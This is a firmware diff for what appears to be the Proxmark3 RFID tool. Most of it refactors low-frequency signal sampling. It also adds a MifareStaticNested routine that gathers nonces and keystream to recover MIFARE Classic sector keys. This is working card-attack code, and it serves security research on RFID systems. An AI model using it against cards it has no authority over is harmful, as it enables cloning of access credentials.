# define OFF(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); WaitUS((x)); } # define OFF(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); WaitUS((x)); }
#endif #endif
#ifndef ON #ifndef ON
# define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); } # define ON(x) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); WaitUS((x)); }
#endif #endif
uint8_t rawsignal = arg0 & 0xF; uint8_t rawsignal = arg0 & 0xF;
@ -2496,7 +2550,7 @@ void Cotag(uint32_t arg0) {
doCotagAcquisitionManchester(); doCotagAcquisitionManchester();
break; break;
case 2: case 2:
DoAcquisition_config(true, 0); DoAcquisition_config(false, 0);
break; break;
} }

View file

@ -36,7 +36,8 @@ void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool
void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol, int numcycles); void CmdFSKsimTAGEx(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol, int numcycles);
void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol); void CmdFSKsimTAG(uint8_t fchigh, uint8_t fclow, uint8_t separator, uint8_t clk, uint16_t bitslen, uint8_t *bits, bool ledcontrol);
void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); void CmdASKsimTAG(uint8_t encoding, uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdPSKsimTag(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol); void CmdPSKsimTAG(uint8_t carrier, uint8_t invert, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdNRZsimTAG(uint8_t invert, uint8_t separator, uint8_t clk, uint16_t size, uint8_t *bits, bool ledcontrol);
void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); void CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol);
void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26 void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol); // Realtime demodulation mode for AWID26

View file

@ -15,6 +15,7 @@
#include "dbprint.h" #include "dbprint.h"
#include "util.h" #include "util.h"
#include "lfdemod.h" #include "lfdemod.h"
#include "string.h" // memset
/* /*
Default LF config is set to: Default LF config is set to:
@ -32,7 +33,7 @@ void printConfig() {
uint32_t d = config.divisor; uint32_t d = config.divisor;
DbpString(_BLUE_("LF Sampling config")); DbpString(_BLUE_("LF Sampling config"));
Dbprintf(" [q] divisor.............%d ( "_GREEN_("%d.%02d kHz")")", d, 12000 / (d + 1), ((1200000 + (d + 1) / 2) / (d + 1)) - ((12000 / (d + 1)) * 100)); Dbprintf(" [q] divisor.............%d ( "_GREEN_("%d.%02d kHz")")", d, 12000 / (d + 1), ((1200000 + (d + 1) / 2) / (d + 1)) - ((12000 / (d + 1)) * 100));
Dbprintf(" [b] bps.................%d", config.bits_per_sample); Dbprintf(" [b] bits per sample.....%d", config.bits_per_sample);
Dbprintf(" [d] decimation..........%d", config.decimation); Dbprintf(" [d] decimation..........%d", config.decimation);
Dbprintf(" [a] averaging...........%s", (config.averaging) ? "Yes" : "No"); Dbprintf(" [a] averaging...........%s", (config.averaging) ? "Yes" : "No");
Dbprintf(" [t] trigger threshold...%d", config.trigger_threshold); Dbprintf(" [t] trigger threshold...%d", config.trigger_threshold);
@ -41,25 +42,40 @@ void printConfig() {
/** /**
* Called from the USB-handler to set the sampling configuration * Called from the USB-handler to set the sampling configuration
* The sampling config is used for std reading and sniffing. * The sampling config is used for standard reading and sniffing.
* *
* Other functions may read samples and ignore the sampling config, * Other functions may read samples and ignore the sampling config,
* such as functions to read the UID from a prox tag or similar. * such as functions to read the UID from a prox tag or similar.
* *
* Values set to '0' implies no change (except for averaging) * Values set to '-1' implies no change
* @brief setSamplingConfig * @brief setSamplingConfig
* @param sc * @param sc
*/ */
void setSamplingConfig(sample_config *sc) { void setSamplingConfig(sample_config *sc) {
if (sc->divisor != 0) config.divisor = sc->divisor;
if (sc->bits_per_sample != 0) config.bits_per_sample = sc->bits_per_sample;
if (sc->trigger_threshold != -1) config.trigger_threshold = sc->trigger_threshold;
// if (sc->samples_to_skip == 0xffffffff) // if needed to not update if not supplied
config.samples_to_skip = sc->samples_to_skip; // decimation (1-8) how many bits of adc sample value to save
config.decimation = (sc->decimation != 0) ? sc->decimation : 1; if (sc->decimation > 0 && sc->decimation < 8)
config.averaging = sc->averaging; config.decimation = sc->decimation;
if (config.bits_per_sample > 8) config.bits_per_sample = 8;
// bits per sample (1-8)
if (sc->bits_per_sample > 0 && sc->bits_per_sample < 8)
config.bits_per_sample = sc->bits_per_sample;
//
if (sc->averaging > -1)
config.averaging = (sc->averaging > 0) ? 1 : 0;
// Frequency divisor (19 - 255)
if (sc->divisor > 18 && sc->divisor < 256)
config.divisor = sc->divisor;
// Start saving samples when adc value larger than trigger_threshold
if (sc->trigger_threshold > -1)
config.trigger_threshold = sc->trigger_threshold;
// Skip n adc samples before saving
if (sc->samples_to_skip > -1)
config.samples_to_skip = sc->samples_to_skip;
if (sc->verbose) if (sc->verbose)
printConfig(); printConfig();
@ -69,12 +85,6 @@ sample_config *getSamplingConfig() {
return &config; return &config;
} }
struct BitstreamOut {
uint8_t *buffer;
uint32_t numbits;
uint32_t position;
};
/** /**
* @brief Pushes bit onto the stream * @brief Pushes bit onto the stream
* @param stream * @param stream
@ -83,11 +93,112 @@ struct BitstreamOut {
void pushBit(BitstreamOut *stream, uint8_t bit) { void pushBit(BitstreamOut *stream, uint8_t bit) {
int bytepos = stream->position >> 3; // divide by 8 int bytepos = stream->position >> 3; // divide by 8
int bitpos = stream->position & 7; int bitpos = stream->position & 7;
*(stream->buffer + bytepos) &= ~(1 << (7 - bitpos));
*(stream->buffer + bytepos) |= (bit > 0) << (7 - bitpos); *(stream->buffer + bytepos) |= (bit > 0) << (7 - bitpos);
stream->position++; stream->position++;
stream->numbits++; stream->numbits++;
} }
// Holds bit packed struct of samples.
BitstreamOut data = {0, 0, 0};
// internal struct to keep track of samples gathered
sampling_t samples = {0, 0, 0, 0};
void initSampleBuffer(uint32_t *sample_size) {
initSampleBufferEx(sample_size, false);
}
void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) {
BigBuf_free();
// We can't erase the buffer now, it would drastically delay the acquisition
if (use_malloc) {
if (sample_size == NULL || *sample_size == 0 ) {
*sample_size = BigBuf_max_traceLen();
data.buffer = BigBuf_get_addr();
} else {
*sample_size = MIN(*sample_size, BigBuf_max_traceLen());
data.buffer = BigBuf_malloc(*sample_size);
}
} else {
if (sample_size == NULL || *sample_size == 0 ) {
*sample_size = BigBuf_max_traceLen();
}
data.buffer = BigBuf_get_addr();
}
//
samples.dec_counter = 0;
samples.sum = 0;
samples.counter = 0;
samples.total_saved = 0;
}
uint32_t getSampleCounter() {
return samples.total_saved;
}
void logSampleSimple(uint8_t sample) {
logSample(sample, config.decimation, config.bits_per_sample, config.averaging);
}
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) {
if (!data.buffer) return;
if (bits_per_sample == 0) bits_per_sample = 1;
if (bits_per_sample > 8) bits_per_sample = 8;
if (decimation == 0) decimation = 1;
// keep track of total gather samples regardless how many was discarded.
samples.counter++;
if (avg) {
samples.sum += sample;
}
// check decimation
if (decimation > 1) {
samples.dec_counter++;
if (samples.dec_counter < decimation) return;
samples.dec_counter = 0;
}
// averaging
if (avg && decimation > 1) {
sample = samples.sum / decimation;
samples.sum = 0;
}
// store the sample
samples.total_saved++;
if (bits_per_sample == 8) {
data.buffer[samples.total_saved - 1] = sample;
// add number of bits.
data.numbits = samples.total_saved << 3;
} else {
pushBit(&data, sample & 0x80);
if (bits_per_sample > 1) pushBit(&data, sample & 0x40);
if (bits_per_sample > 2) pushBit(&data, sample & 0x20);
if (bits_per_sample > 3) pushBit(&data, sample & 0x10);
if (bits_per_sample > 4) pushBit(&data, sample & 0x08);
if (bits_per_sample > 5) pushBit(&data, sample & 0x04);
if (bits_per_sample > 6) pushBit(&data, sample & 0x02);
}
}
/** /**
* Setup the FPGA to listen for samples. This method downloads the FPGA bitstream * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream
* if not already loaded, sets divisor and starts up the antenna. * if not already loaded, sets divisor and starts up the antenna.
@ -95,7 +206,7 @@ void pushBit(BitstreamOut *stream, uint8_t bit) {
* 0 or 95 ==> 125 kHz * 0 or 95 ==> 125 kHz
* *
**/ **/
void LFSetupFPGAForADC(int divisor, bool lf_field) { void LFSetupFPGAForADC(int divisor, bool reader_field) {
FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
if ((divisor == 1) || (divisor < 0) || (divisor > 255)) if ((divisor == 1) || (divisor < 0) || (divisor > 255))
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz
@ -104,14 +215,17 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) {
else else
FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor);
FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | (reader_field ? FPGA_LF_ADC_READER_FIELD : 0));
// Connect the A/D to the peak-detected low-frequency path. // Connect the A/D to the peak-detected low-frequency path.
SetAdcMuxFor(GPIO_MUXSEL_LOPKD); SetAdcMuxFor(GPIO_MUXSEL_LOPKD);
// 50ms for the resonant antenna to settle. // 50ms for the resonant antenna to settle.
if (reader_field)
SpinDelay(50); SpinDelay(50);
// Now set up the SSC to get the ADC samples that are now streaming at us. // Now set up the SSC to get the ADC samples that are now streaming at us.
FpgaSetupSsc(); FpgaSetupSsc();
// start a 1.5ticks is 1us // start a 1.5ticks is 1us
StartTicks(); StartTicks();
} }
@ -128,45 +242,39 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) {
* value that will be used is the average value of the three samples. * value that will be used is the average value of the three samples.
* @param trigger_threshold - a threshold. The sampling won't commence until this threshold has been reached. Set * @param trigger_threshold - a threshold. The sampling won't commence until this threshold has been reached. Set
* to -1 to ignore threshold. * to -1 to ignore threshold.
* @param silent - is true, now outputs are made. If false, dbprints the status * @param verbose - is true, dbprints the status, else no outputs
* @return the number of bits occupied by the samples. * @return the number of bits occupied by the samples.
*/ */
uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averaging, int trigger_threshold, bool silent, int bufsize, uint32_t cancel_after, uint32_t samples_to_skip) { uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold,
bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip) {
uint8_t *dest = BigBuf_get_addr(); initSampleBuffer(&sample_size);
bufsize = (bufsize > 0 && bufsize < BigBuf_max_traceLen()) ? bufsize : BigBuf_max_traceLen();
if (bits_per_sample < 1) bits_per_sample = 1;
if (bits_per_sample > 8) bits_per_sample = 8;
if (decimation < 1) decimation = 1;
// use a bit stream to handle the output
BitstreamOut data = { dest, 0, 0};
int sample_counter = 0;
uint8_t sample;
// if we want to do averaging
uint32_t sample_sum = 0 ;
uint32_t sample_total_numbers = 0;
uint32_t sample_total_saved = 0;
uint32_t cancel_counter = 0; uint32_t cancel_counter = 0;
int16_t checked = 0;
uint16_t checked = 0;
while (true) { while (true) {
// only every 1000th times, in order to save time when collecting samples.
if (checked == 1000) { if (checked == 1000) {
if (BUTTON_PRESS() || data_available()) if (BUTTON_PRESS() || data_available()) {
checked = -1;
break; break;
else } else {
checked = 0; checked = 0;
}
} }
++checked; ++checked;
WDT_HIT(); WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
// AT91C_BASE_SSC->SSC_THR = 0x43;
LED_D_ON();
}
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
// Testpoint 8 (TP8) can be used to trigger oscilliscope // Testpoint 8 (TP8) can be used to trigger oscilliscope
LED_D_OFF(); LED_D_OFF();
@ -188,57 +296,23 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag
continue; continue;
} }
sample_total_numbers++; logSample(sample, decimation, bits_per_sample, avg);
if (averaging) if (samples.total_saved >= sample_size) break;
sample_sum += sample;
// check decimation
if (decimation > 1) {
sample_counter++;
if (sample_counter < decimation) continue;
sample_counter = 0;
}
// averaging
if (averaging && decimation > 1) {
sample = sample_sum / decimation;
sample_sum = 0;
}
// store the sample
sample_total_saved ++;
if (bits_per_sample == 8) {
dest[sample_total_saved - 1] = sample;
// Get the return value correct
data.numbits = sample_total_saved << 3;
if (sample_total_saved >= bufsize) break;
} else {
pushBit(&data, sample & 0x80);
if (bits_per_sample > 1) pushBit(&data, sample & 0x40);
if (bits_per_sample > 2) pushBit(&data, sample & 0x20);
if (bits_per_sample > 3) pushBit(&data, sample & 0x10);
if (bits_per_sample > 4) pushBit(&data, sample & 0x08);
if (bits_per_sample > 5) pushBit(&data, sample & 0x04);
if (bits_per_sample > 6) pushBit(&data, sample & 0x02);
if ((data.numbits >> 3) + 1 >= bufsize) break;
}
} }
} }
if (!silent) { if (checked == -1 && verbose) {
Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", sample_total_saved, sample_total_numbers, bits_per_sample); Dbprintf("lf sampling aborted");
Dbprintf("buffer samples: %02x %02x %02x %02x %02x %02x %02x %02x ...", }
dest[0], dest[1], dest[2], dest[3], dest[4], dest[5], dest[6], dest[7]);
if (verbose) {
Dbprintf("Done, saved " _YELLOW_("%d")"out of " _YELLOW_("%d")"seen samples at " _YELLOW_("%d")"bits/sample", samples.total_saved, samples.counter, bits_per_sample);
} }
// Ensure that DC offset removal and noise check is performed for any device-side processing // Ensure that DC offset removal and noise check is performed for any device-side processing
removeSignalOffset(dest, bufsize); removeSignalOffset(data.buffer, samples.total_saved);
computeSignalProperties(dest, bufsize); computeSignalProperties(data.buffer, samples.total_saved);
return data.numbits; return data.numbits;
} }
@ -247,32 +321,33 @@ uint32_t DoAcquisition(uint8_t decimation, uint32_t bits_per_sample, bool averag
* This method is typically used by tag-specific readers who just wants to read the samples * This method is typically used by tag-specific readers who just wants to read the samples
* the normal way * the normal way
* @param trigger_threshold * @param trigger_threshold
* @param silent * @param verbose
* @return number of bits sampled * @return number of bits sampled
*/ */
uint32_t DoAcquisition_default(int trigger_threshold, bool silent) { uint32_t DoAcquisition_default(int trigger_threshold, bool verbose) {
return DoAcquisition(1, 8, 0, trigger_threshold, silent, 0, 0, 0); return DoAcquisition(1, 8, 0, trigger_threshold, verbose, 0, 0, 0);
} }
uint32_t DoAcquisition_config(bool silent, int sample_size) { uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size) {
return DoAcquisition(config.decimation return DoAcquisition(config.decimation
, config.bits_per_sample , config.bits_per_sample
, config.averaging , config.averaging
, config.trigger_threshold , config.trigger_threshold
, silent , verbose
, sample_size , sample_size
, 0 , 0
, config.samples_to_skip); , config.samples_to_skip);
} }
uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after) { uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after) {
return DoAcquisition(1, 8, 0, trigger_threshold, silent, sample_size, cancel_after, 0); return DoAcquisition(1, 8, 0, trigger_threshold, verbose, sample_size, cancel_after, 0);
} }
uint32_t ReadLF(bool activeField, bool silent, int sample_size) { uint32_t ReadLF(bool reader_field, bool verbose, uint32_t sample_size) {
if (!silent) if (verbose)
printConfig(); printConfig();
LFSetupFPGAForADC(config.divisor, activeField);
uint32_t ret = DoAcquisition_config(silent, sample_size); LFSetupFPGAForADC(config.divisor, reader_field);
uint32_t ret = DoAcquisition_config(verbose, sample_size);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return ret; return ret;
} }
@ -281,9 +356,9 @@ uint32_t ReadLF(bool activeField, bool silent, int sample_size) {
* Initializes the FPGA for reader-mode (field on), and acquires the samples. * Initializes the FPGA for reader-mode (field on), and acquires the samples.
* @return number of bits sampled * @return number of bits sampled
**/ **/
uint32_t SampleLF(bool silent, int sample_size) { uint32_t SampleLF(bool verbose, uint32_t sample_size) {
BigBuf_Clear_ext(false); BigBuf_Clear_ext(false);
return ReadLF(true, silent, sample_size); return ReadLF(true, verbose, sample_size);
} }
/** /**
* Initializes the FPGA for sniffer-mode (field off), and acquires the samples. * Initializes the FPGA for sniffer-mode (field off), and acquires the samples.
@ -310,7 +385,7 @@ void doT55x7Acquisition(size_t sample_size) {
if (bufsize > sample_size) if (bufsize > sample_size)
bufsize = sample_size; bufsize = sample_size;
uint8_t curSample, lastSample = 0; uint8_t lastSample = 0;
uint16_t i = 0, skipCnt = 0; uint16_t i = 0, skipCnt = 0;
bool startFound = false; bool startFound = false;
bool highFound = false; bool highFound = false;
@ -330,24 +405,24 @@ void doT55x7Acquisition(size_t sample_size) {
WDT_HIT(); WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
LED_D_ON();
}
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
curSample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
LED_D_OFF(); LED_D_OFF();
// skip until the first high sample above threshold // skip until the first high sample above threshold
if (!startFound && curSample > T55xx_READ_UPPER_THRESHOLD) { if (!startFound && sample > T55xx_READ_UPPER_THRESHOLD) {
//if (curSample > lastSample)
// lastSample = curSample;
highFound = true; highFound = true;
} else if (!highFound) { } else if (!highFound) {
skipCnt++; skipCnt++;
continue; continue;
} }
// skip until the first low sample below threshold // skip until the first low sample below threshold
if (!startFound && curSample < T55xx_READ_LOWER_THRESHOLD) { if (!startFound && sample < T55xx_READ_LOWER_THRESHOLD) {
//if (curSample > lastSample) lastSample = sample;
lastSample = curSample;
lowFound = true; lowFound = true;
} else if (!lowFound) { } else if (!lowFound) {
skipCnt++; skipCnt++;
@ -355,14 +430,14 @@ void doT55x7Acquisition(size_t sample_size) {
} }
// skip until first high samples begin to change // skip until first high samples begin to change
if (startFound || curSample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) { if (startFound || sample > T55xx_READ_LOWER_THRESHOLD + T55xx_READ_TOL) {
// if just found start - recover last sample // if just found start - recover last sample
if (!startFound) { if (!startFound) {
dest[i++] = lastSample; dest[i++] = lastSample;
startFound = true; startFound = true;
} }
// collect samples // collect samples
dest[i++] = curSample; dest[i++] = sample;
} }
} }
} }
@ -388,7 +463,7 @@ void doCotagAcquisition(size_t sample_size) {
bufsize = sample_size; bufsize = sample_size;
dest[0] = 0; dest[0] = 0;
uint8_t sample, firsthigh = 0, firstlow = 0; uint8_t firsthigh = 0, firstlow = 0;
uint16_t i = 0; uint16_t i = 0;
uint16_t noise_counter = 0; uint16_t noise_counter = 0;
@ -406,8 +481,12 @@ void doCotagAcquisition(size_t sample_size) {
WDT_HIT(); WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
LED_D_ON();
}
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
// find first peak // find first peak
if (!firsthigh) { if (!firsthigh) {
@ -441,7 +520,6 @@ void doCotagAcquisition(size_t sample_size) {
// Ensure that DC offset removal and noise check is performed for any device-side processing // Ensure that DC offset removal and noise check is performed for any device-side processing
removeSignalOffset(dest, bufsize); removeSignalOffset(dest, bufsize);
computeSignalProperties(dest, bufsize); computeSignalProperties(dest, bufsize);
} }
uint32_t doCotagAcquisitionManchester() { uint32_t doCotagAcquisitionManchester() {
@ -453,7 +531,7 @@ uint32_t doCotagAcquisitionManchester() {
bufsize = COTAG_BITS; bufsize = COTAG_BITS;
dest[0] = 0; dest[0] = 0;
uint8_t sample, firsthigh = 0, firstlow = 0; uint8_t firsthigh = 0, firstlow = 0;
uint16_t sample_counter = 0, period = 0; uint16_t sample_counter = 0, period = 0;
uint8_t curr = 0, prev = 0; uint8_t curr = 0, prev = 0;
uint16_t noise_counter = 0; uint16_t noise_counter = 0;
@ -471,8 +549,12 @@ uint32_t doCotagAcquisitionManchester() {
WDT_HIT(); WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
LED_D_ON();
}
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY) {
sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR; volatile uint8_t sample = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
// find first peak // find first peak
if (!firsthigh) { if (!firsthigh) {

View file

@ -4,7 +4,18 @@
#include "common.h" #include "common.h"
#include "pm3_cmd.h" #include "pm3_cmd.h"
typedef struct BitstreamOut BitstreamOut; typedef struct {
uint8_t *buffer;
uint32_t numbits;
uint32_t position;
} BitstreamOut;
typedef struct {
int dec_counter;
uint32_t sum;
uint32_t counter;
uint32_t total_saved;
} sampling_t;
/** /**
* acquisition of Cotag LF signal. Similar to other LF, since the Cotag has such long datarate RF/384 * acquisition of Cotag LF signal. Similar to other LF, since the Cotag has such long datarate RF/384
@ -23,7 +34,7 @@ void doT55x7Acquisition(size_t sample_size);
* Initializes the FPGA for reader-mode (field on), and acquires the samples. * Initializes the FPGA for reader-mode (field on), and acquires the samples.
* @return number of bits sampled * @return number of bits sampled
**/ **/
uint32_t SampleLF(bool silent, int sample_size); uint32_t SampleLF(bool verbose, uint32_t sample_size);
/** /**
* Initializes the FPGA for sniff-mode (field off), and acquires the samples. * Initializes the FPGA for sniff-mode (field off), and acquires the samples.
@ -31,26 +42,38 @@ uint32_t SampleLF(bool silent, int sample_size);
**/ **/
uint32_t SniffLF(); uint32_t SniffLF();
uint32_t DoAcquisition(uint8_t decimation, uint8_t bits_per_sample, bool avg, int16_t trigger_threshold,
bool verbose, uint32_t sample_size, uint32_t cancel_after, int32_t samples_to_skip);
// adds sample size to default options // adds sample size to default options
uint32_t DoPartialAcquisition(int trigger_threshold, bool silent, int sample_size, uint32_t cancel_after); uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t sample_size, uint32_t cancel_after);
/** /**
* @brief Does sample acquisition, ignoring the config values set in the sample_config. * @brief Does sample acquisition, ignoring the config values set in the sample_config.
* This method is typically used by tag-specific readers who just wants to read the samples * This method is typically used by tag-specific readers who just wants to read the samples
* the normal way * the normal way
* @param trigger_threshold * @param trigger_threshold
* @param silent * @param verbose
* @return number of bits sampled * @return number of bits sampled
*/ */
uint32_t DoAcquisition_default(int trigger_threshold, bool silent); uint32_t DoAcquisition_default(int trigger_threshold, bool verbose);
/** /**
* @brief Does sample acquisition, using the config values set in the sample_config. * @brief Does sample acquisition, using the config values set in the sample_config.
* @param trigger_threshold * @param trigger_threshold
* @param silent * @param verbose
* @return number of bits sampled * @return number of bits sampled
*/ */
uint32_t DoAcquisition_config(bool silent, int sample_size); uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size);
/**
* Refactoring of lf sampling buffer
*/
void initSampleBuffer(uint32_t *sample_size);
void initSampleBufferEx(uint32_t *sample_size, bool use_malloc);
void logSampleSimple(uint8_t sample);
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg);
uint32_t getSampleCounter();
/** /**
* Setup the FPGA to listen for samples. This method downloads the FPGA bitstream * Setup the FPGA to listen for samples. This method downloads the FPGA bitstream

View file

@ -32,6 +32,8 @@
#include "crc16.h" #include "crc16.h"
#include "dbprint.h" #include "dbprint.h"
#include "ticks.h" #include "ticks.h"
#include "usb_cdc.h" // usb_poll_validate_length
#include "spiffs.h" // spiffs
#ifndef HARDNESTED_AUTHENTICATION_TIMEOUT #ifndef HARDNESTED_AUTHENTICATION_TIMEOUT
# define HARDNESTED_AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation) # define HARDNESTED_AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation)
@ -918,7 +920,7 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8
for (rtr = 0; rtr < 17; rtr++) { for (rtr = 0; rtr < 17; rtr++) {
// Test if the action was cancelled // Test if the action was cancelled
if (BUTTON_PRESS()) { if (BUTTON_PRESS() || data_available()) {
isOK = -2; isOK = -2;
break; break;
} }
@ -998,6 +1000,12 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8
target_nt[i] = 0; target_nt[i] = 0;
while (target_nt[i] == 0) { // continue until we have an unambiguous nonce while (target_nt[i] == 0) { // continue until we have an unambiguous nonce
// Test if the action was cancelled
if (BUTTON_PRESS() || data_available()) {
isOK = -2;
break;
}
// prepare next select. No need to power down the card. // prepare next select. No need to power down the card.
if (mifare_classic_halt(pcs, cuid)) { if (mifare_classic_halt(pcs, cuid)) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error");
@ -1094,6 +1102,107 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8
set_tracing(false); set_tracing(false);
} }
void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key) {
LEDsoff();
uint64_t ui64Key = 0;
ui64Key = bytes_to_num(key, 6);
// variables
uint16_t len;
uint8_t uid[10] = {0x00};
uint32_t cuid = 0, nt1, nt2;
uint32_t target_nt = {0x00}, target_ks = {0x00};
uint8_t par[1] = {0x00};
uint8_t receivedAnswer[10] = {0x00};
struct Crypto1State mpcs = {0, 0};
struct Crypto1State *pcs;
pcs = &mpcs;
LED_A_ON();
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
// free eventually allocated BigBuf memory
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
int16_t isOK = 0;
LED_C_ON();
for (uint8_t retry = 0; retry < 3 && (isOK == 0); retry++) {
WDT_HIT();
// prepare next select. No need to power down the card.
if (mifare_classic_halt(pcs, cuid)) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error");
retry--;
continue;
}
if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card");
retry--;
continue;
};
// First authenticatoin. Normal auth.
if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error");
retry--;
continue;
};
// second authentication. Nested auth
len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL);
if (len != 4) {
if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len);
continue;
};
nt2 = bytes_to_num(receivedAnswer, 4);
uint32_t nt_tmp = prng_successor(nt1, 160);
target_ks = nt2 ^ nt_tmp;
target_nt = nt_tmp;
isOK = 1;
if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Testing nt1=%08x nt2enc=%08x nt2par=%02x ks=%08x", nt1, nt2, par[0], target_ks);
}
LED_C_OFF();
crypto1_deinit(pcs);
struct p {
int16_t isOK;
uint8_t block;
uint8_t keytype;
uint8_t cuid[4];
uint8_t nt[4];
uint8_t ks[4];
} PACKED payload;
payload.isOK = isOK;
payload.block = targetBlockNo;
payload.keytype = targetKeyType;
memcpy(payload.cuid, &cuid, 4);
memcpy(payload.nt, &target_nt, 4);
memcpy(payload.ks, &target_ks, 4);
LED_B_ON();
reply_ng(CMD_HF_MIFARE_STATIC_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload));
LED_B_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
set_tracing(false);
}
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// MIFARE check keys. key count up to 85. // MIFARE check keys. key count up to 85.
// //
@ -1131,7 +1240,7 @@ uint8_t chkKey(struct chk_t *c) {
} }
